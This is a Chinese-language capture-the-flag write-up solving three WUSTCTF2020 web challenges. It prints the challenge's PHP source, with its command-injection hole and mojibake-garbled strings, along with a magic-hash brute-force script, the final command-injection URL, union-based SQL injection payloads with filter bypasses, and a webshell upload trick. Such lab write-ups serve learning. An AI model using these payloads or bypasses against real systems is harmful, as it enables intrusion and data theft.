[WUSTCTF2020]朴实无华
/robots下面有/fAke_f1agggg.php一开始根据回显页面以为没用,但是响应头里面有东西!
/fl4g.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__);
if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>"; }else{ die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�"); } }else{ die("鍘婚潪娲插惂"); }
if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>"; else die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�"); }else{ die("鍘婚潪娲插惂"); }
if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>"; system($get_flag); }else{ die("蹇埌闈炴床浜�"); } }else{ die("鍘婚潪娲插惂"); } ?>
|
就过滤了个空格和cat
md5那个地方一开始是自己去爆破用python,反正捣鼓了一段时间,其实应该先本地测的
1
| "0e291242476940776845150308577824"=="0e215962017"
|
php的弱比较,所以利用python写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import hashlib import itertools import string
charset = string.digits
for length in itertools.count(1): for chars in itertools.product(charset, repeat=length): candidate = '0e'+''.join(chars) md5_hash = hashlib.md5(candidate.encode()).hexdigest() if '0e' == md5_hash[0:2:1] and md5_hash[2::].isdigit(): print(f"找到目标字符串:{candidate} 结果是:{md5_hash}") exit() print(f"未找到长度为 {length} 的解,继续尝试更长字符串...")
|
好难跑,但还是跑出来了
1
| ?num=1e4&md5=0e215962017&get_flag=tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
|
[WUSTCTF2020]颜值成绩查询
考虑到是sql注入了,尝试:
1 2 3 4 5 6 7
| 1'# 不行,考虑数字类型 1# 可以,说明是数字类型 1 or 1=1# student number not exists.贼奇怪,可能有过滤,只是没刻意提醒 1/**/or/**/1=1# 可以 还有个大小写绕过 -1/**/Union/**/sElect/**/1,2,3# -1/**/Union/**/sElect/**/1,2,(Select(group_concat(value))from(flag))#
|
也是一开始卡了,主要是过滤了没提醒!然后中间尝试了sqlmap的–temple参数,但是失败了,有工具还是好啊,但是工具一定要配合手测才更好!
现在发现思路很重要,不会的可以上网查,但是没思路就废了!所以我现在的想法就是注重思路的训练!
[WUSTCTF2020]CV Maker
有个注册页面,先注册登录再说,然后就只有一个头像上传的功能!
先上传一个仅改了后缀的一句话木马,然后发现有exif_imagetype有这个函数的检测,直接GIF89a绕过即可!
然后以为还要配合.user.ini没想到这题就是一个exif_imagetype后缀都没过滤!
然后访问上传地址直接getshell就行了!